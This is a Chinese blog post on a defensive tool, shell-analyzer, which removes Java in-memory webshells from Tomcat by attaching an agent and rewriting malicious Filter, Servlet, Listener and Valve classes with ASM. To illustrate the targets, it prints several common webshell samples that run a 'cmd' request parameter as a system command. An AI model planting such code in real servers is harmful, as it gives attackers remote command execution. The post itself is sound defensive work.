01 介绍
在上一篇文章里,我简单分享了工具的检测原理:
内存马检测工具shell-analyzer(1)最初版展示与设计思路
今天我将项目开源了,地址是:
https://github.com/4ra1n/shell-analyzer
本文将分享如何实现清除内存马,上文是“查”,本文是“杀”
02 远程
在上一篇文章中提到本工具的设计思路:
(1)将 Agent attach 到目标 Tomcat 上
(2)目标 Tomcat 通过 Socket 监听某个端口
(3)shell-analyzer 发送操作命令到该端口
(4)Tomcat 根据操作命令执行对应的逻辑并返回
当本地运行的时候,以上的逻辑足够;但远程检测的情况下,对端口进行基础的保护(自定义ObjectInputStream)之后,应该加入进一步的鉴权逻辑
Java Agent 支持参数,在 Attach 时加入参数
`VirtualMachine vm = VirtualMachine.attach(pid);``Path agentPath = Paths.get("agent.jar");``String path = agentPath.toAbsolutePath().toString();``// 密码参数``vm.loadAgent(path,password);`
通过 agentmain 入口的 agentArgs 参数即可拿到上文密码
`public static void agentmain(String agentArgs, Instrumentation ins) {` `if (agentArgs == null || agentArgs.trim().equals("")) {` `return;` `}` `if (agentArgs.length() != 8) {` `return;` `}` `PASSWORD = agentArgs;` `// 。。。``}`
使用 等命令获取所有组件信息的时候,需要先进行验证,命令格式为:PASSWORD (其他组件类似)
`if (targetClass.startsWith("<FILTERS>")) {` `String PASS = targetClass.split("<FILTERS>")[1];` `if (!PASS.equals(Agent.PASSWORD)) {` `System.out.println("!!! ERROR PASSWORD");` `return;` `}` `List<String> classList = new ArrayList<>();` `for (Class<?> c : Agent.staticClasses) {` `//...` `}` `}`
另外新增了 命令,允许指定任意类名,任意类型的组件,进行清除内存马操作,命令格式如下:PASSWORD|CLASSNAME
`if (targetClass.startsWith("<KILL-FILTER>")) {` `String f = targetClass.split("<KILL-FILTER>")[1];` `// 密码验证` `if (!f.split("\\|")[0].equals(Agent.PASSWORD)) {` `System.out.println("!!! ERROR PASSWORD");` `return;` `}` `f = f.split("\\|")[1];` `System.out.println("kill filter: " + f);` `FilterKill fk = new FilterKill(f);` `for (Class<?> c : Agent.staticClasses) {` `if (c.getName().equals(f)) {` `Agent.staticIns.addTransformer(fk, true);` `Agent.staticIns.retransformClasses(c);` `Agent.staticIns.removeTransformer(fk);` `}` `}``}`
由于清除内存马的操作,需要 retransform class 操作,因此需要根据不同的组件类型,编写不同的 Transformer 类和字节码处理逻辑
通过 addTransformer 添加自定义的 Transformer 类,使用 retransformClasses 方法修改字节码,修改完成后通过 removeTransformer 方法移除新增的 Transformer 类使该类不会影响后续操作
对于远程查杀的情况,我编写了一个简易的 RemoteLoader 包,实际上只是封装了 Attach 指定 Agent 到本地 JVM 的一个方法
用户手动登录目标服务器,上传 remote.jar 与 agent.jar 后执行以下命令将准备好的 agent attach 到需要检测的 JVM 中,开始监听 10032 端口
java -cp /remote.jar:tools.jar com.n1ar4.RemoteLoader [PID] [PASSWORD]
在客户端 GUI 程序中,输入远程 IP 和对应的密码后,通过 Socket 发送封装好的数据到目标 10032 端口,即可实现对应的功能
清除内存马的 transforme 方法类似,使用 ASM ClassWriter 读取字节码,修改 JVM 指令后返回新的字节码,再进行 retransform 操作
`@Override``public byte[] transform(ClassLoader loader,` `String className, Class<?> clsMemShell,` `ProtectionDomain protectionDomain,` `byte[] classfileBuffer) {` `try {` `className = className.replace("/", ".");` `if (className.equals(this.className)) {` `ClassReader cr = new ClassReader(classfileBuffer);` `ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);` `int api = Opcodes.ASM9;` `ClassVisitor cv = new FilterKillClassVisitor(api, cw);` `int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;` `cr.accept(cv, parsingOptions);` `return cw.toByteArray();` `}` `} catch (Exception ex) {` `ex.printStackTrace();` `}` `return new byte[0];``}`
03 清除 Filter 类型
首先来分析最常见的 Filter 类型,这是网上流程的 Filter 内存马代码,可以发现执行完内存马逻辑后,调用 doFilter 方法继续传递
`@Override``public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)` `throws IOException, ServletException {` `HttpServletRequest req = (HttpServletRequest)arg0;` `if (req.getParameter("cmd") != null) {` `byte[] data = new byte[1024];` `Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();` `int len = p.getInputStream().read(data);` `p.destroy();` `arg1.getWriter().write(new String(data, 0, len));` `return;` `}` `arg2.doFilter(arg0, arg1);``}`
由于在 Tomcat 中 Filters 是一条链,如果这一条链在中间断开,将会导致未知的问题,以至服务不可用。所以需要使用 filterChain.doFilter 方法传递
清空内存马的 Filter 代码应该如下
`@Override``public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,` `FilterChain filterChain) throws IOException, ServletException {` `filterChain.doFilter(servletRequest,servletResponse);``}`
不难写出对应的 ASM 代码,当我们分析到 Filter 类的 doFilter 方法时,将整个方法 Body 替换为以下部分,即可继续传递解决 Filter 内存马
`if (mv != null && name.equals("doFilter") &&` `descriptor.equals("(Ljavax/servlet/ServletRequest;" +` `"Ljavax/servlet/ServletResponse;Ljavax/servlet/FilterChain;)V")) {` `mv.visitCode();` `mv.visitVarInsn(ALOAD, 3);` `mv.visitVarInsn(ALOAD, 1);` `mv.visitVarInsn(ALOAD, 2);` `mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain",` `"doFilter", "(Ljavax/servlet/ServletRequest;" +` `"Ljavax/servlet/ServletResponse;)V", true);` `mv.visitInsn(RETURN);` `mv.visitMaxs(3, 4);` `mv.visitEnd();` `return mv;``}`
顺便我处理了另一种情况,继承 HttpServlet 的 doFilter 方法,方法名一致不过参数不一致,代码逻辑和上文一致,都是调用第三个参数的 doFilter 方法以继续传递,压栈指令和方法调用指令一致
`public class TestFilter extends HttpFilter {` `@Override` `protected void doFilter(HttpServletRequest req,` `HttpServletResponse res,` `FilterChain chain) throws IOException, ServletException {` `chain.doFilter(req, res);` `}``}`
04 清除 Servlet 类型
网传的 Servlet 内存马代码如下,继承 HttpServlet 后重写 doGet
`@Override``protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {` `String cmd;` `if ((cmd = req.getParameter(cmdParamName)) != null) {` `Process process = Runtime.getRuntime().exec(cmd);` `java.io.BufferedReader bufferedReader = new java.io.BufferedReader(` `new java.io.InputStreamReader(process.getInputStream()));` `StringBuilder stringBuilder = new StringBuilder();` `String line;` `while ((line = bufferedReader.readLine()) != null) {` `stringBuilder.append(line + '\n');` `}` `resp.getOutputStream().write(stringBuilder.toString().getBytes());` `resp.getOutputStream().flush();` `resp.getOutputStream().close();` `return;` `}``}`
对于 Servlet 来说不存在 Filter 的传递问题,所以直接 return 返回即可。不过需要注意,doPost doPut 等多个方法都有可能存在问题,修复方式一致
`if (mv != null && (name.equals("doGet") || name.equals("doPost")` `|| name.equals("doDelete") || name.equals("doHead") || name.equals("doOptions")` `|| name.equals("doPut") || name.equals("doTrace")) &&` `descriptor.equals("(Ljavax/servlet/http/HttpServletRequest;" +` `"Ljavax/servlet/http/HttpServletResponse;)V")) {` `mv.visitCode();` `mv.visitInsn(RETURN);` `mv.visitMaxs(0, 3);` `mv.visitEnd();``}`
另外一种 Servlet 内存马应该是继承自 Servlet 接口的,实现 service 方法
`@Override``public void service(ServletRequest servletRequest,` `ServletResponse servletResponse) throws ServletException, IOException {` `return;``}`
这种情况的清除逻辑类似,直接返回
`if (mv != null && name.equals("service") &&` `descriptor.equals("(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V")) {` `mv.visitCode();` `mv.visitInsn(RETURN);` `mv.visitMaxs(0, 3);` `mv.visitEnd();` `return mv;``}`
05 清除 Listener 类型
网传的 Listener 内存马代码如下,每创建一个 ServletRequest 对象都会调用 requestInitialized 方法,类似销毁调用 requestDestroyed 方法
`public class ListenerDemo implements ServletRequestListener {` `public void requestDestroyed(ServletRequestEvent sre) {` `System.out.println("requestDestroyed");` `}` `public void requestInitialized(ServletRequestEvent sre) {` `System.out.println("requestInitialized");` `try{` `String cmd = sre.getServletRequest().getParameter("cmd");` `Runtime.getRuntime().exec(cmd);` `}catch (Exception e ){` `}` `}``}`
我们只需要将 requestDestroyed 和 requestInitialized 方法返回空即可
`MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);``if (mv != null && (name.equals("requestDestroyed") || name.equals("requestInitialized")) &&` `descriptor.equals("(Ljavax/servlet/ServletRequestEvent;)V")) {` `mv.visitCode();` `mv.visitInsn(RETURN);` `mv.visitMaxs(0, 2);` `mv.visitEnd();` `return mv;``}`
06 清除 Valve 类型
网传的 Valve 内存马会导致服务不可用,因为这里有类似 Filter 的问题,需要进行继续传递,不能在某一个 Valve 中阻断,需要调用 getNext 并 invoke 调用下一个 Valve 的执行方法
`@Override``public void invoke(Request request, Response response) throws IOException, ServletException {` `String cmd = request.getParameter("cmd");` `if (cmd !=null){` `try{` `Runtime.getRuntime().exec(cmd);` `}catch (IOException e){` `e.printStackTrace();` `}catch (NullPointerException n){` `n.printStackTrace();` `}` `}` `// 网传内存马没有这一行会导致问题` `getNext().invoke(request, response);``}`
被修复后的 Valve 内存马应该长这样
`@Override``public void invoke(Request request, Response response)` `throws IOException, ServletException {` `this.getNext().invoke(request, response);``}`
JVM 指令是这样
`if (mv != null && name.equals("invoke") &&` `descriptor.equals("(Lorg/apache/catalina/connector/Request;" +` `"Lorg/apache/catalina/connector/Response;)V")) {` `mv.visitCode();` `mv.visitVarInsn(ALOAD, 0);` `mv.visitMethodInsn(INVOKEVIRTUAL, owner,` `"getNext", "()Lorg/apache/catalina/Valve;", false);` `mv.visitVarInsn(ALOAD, 1);` `mv.visitVarInsn(ALOAD, 2);` `mv.visitMethodInsn(INVOKEINTERFACE, "org/apache/catalina/Valve",` `"invoke", "(Lorg/apache/catalina/connector/Request;" +` `"Lorg/apache/catalina/connector/Response;)V", true);` `mv.visitInsn(RETURN);` `mv.visitMaxs(3, 3);` `mv.visitEnd();` `return mv;``}`
07 清除 Java Agent 类型
由于各种原因,工具不打算集成 Java Agent 内存马的查杀
Agent 内存马查杀相对容易,使用 SA-JDI 的 HSDB 直接 dump 常见的几个类,然后使用 IDEA 等反编译工具即可得到 Java 代码
(1)javax/servlet/http/HttpServlet service
(2)org/apache/catalina/core/ApplicationFilterChain doFilter
(3)org/springframework/web/servlet/DispatcherServlet doService
(4)org/apache/tomcat/websocket/server/WsFilter doFilter
对以上这些常见类的方法进行分析,即可得到需要的结果
08 一些问题
工具目前存在几个明显的问题:
(0)虽然我举例用的是 Tomcat 容器,但只要是实现了 Servlet 规范的容器或中间件,理论上本工具都可以进行查杀(但 Valve 是 Tomcat 独有)
(1)动态 Agent 在罕见条件下会打崩 Tomcat 因此暂不要在生产环境测试,可以自己测试靶机来验证查杀内存马的效果
(2)虽然我已经自定义 ObjectInputStream 并加入密码来保护端口,但 Java 的反序列化机制本身不够安全,存在拒绝服务等问题。我为什么要使用 Java 原生序列化来传递数据呢?图个方便
(3)当你清除掉某个内存马后,其实你还是可以获得这个内存马类的字节码,因为通过 Java Agent 拿到的字节码不是真正的字节码,被 Java Agent 修改过的字节码不会变化,再次拿到的还是修改之前的字节码
(4)注意使用 JDK 而不是 JRE 来运行,以 Windows 为例,在 JRE 的 bin 目录中,不存在 attach.dll 等库,会导致无法 attach 和分析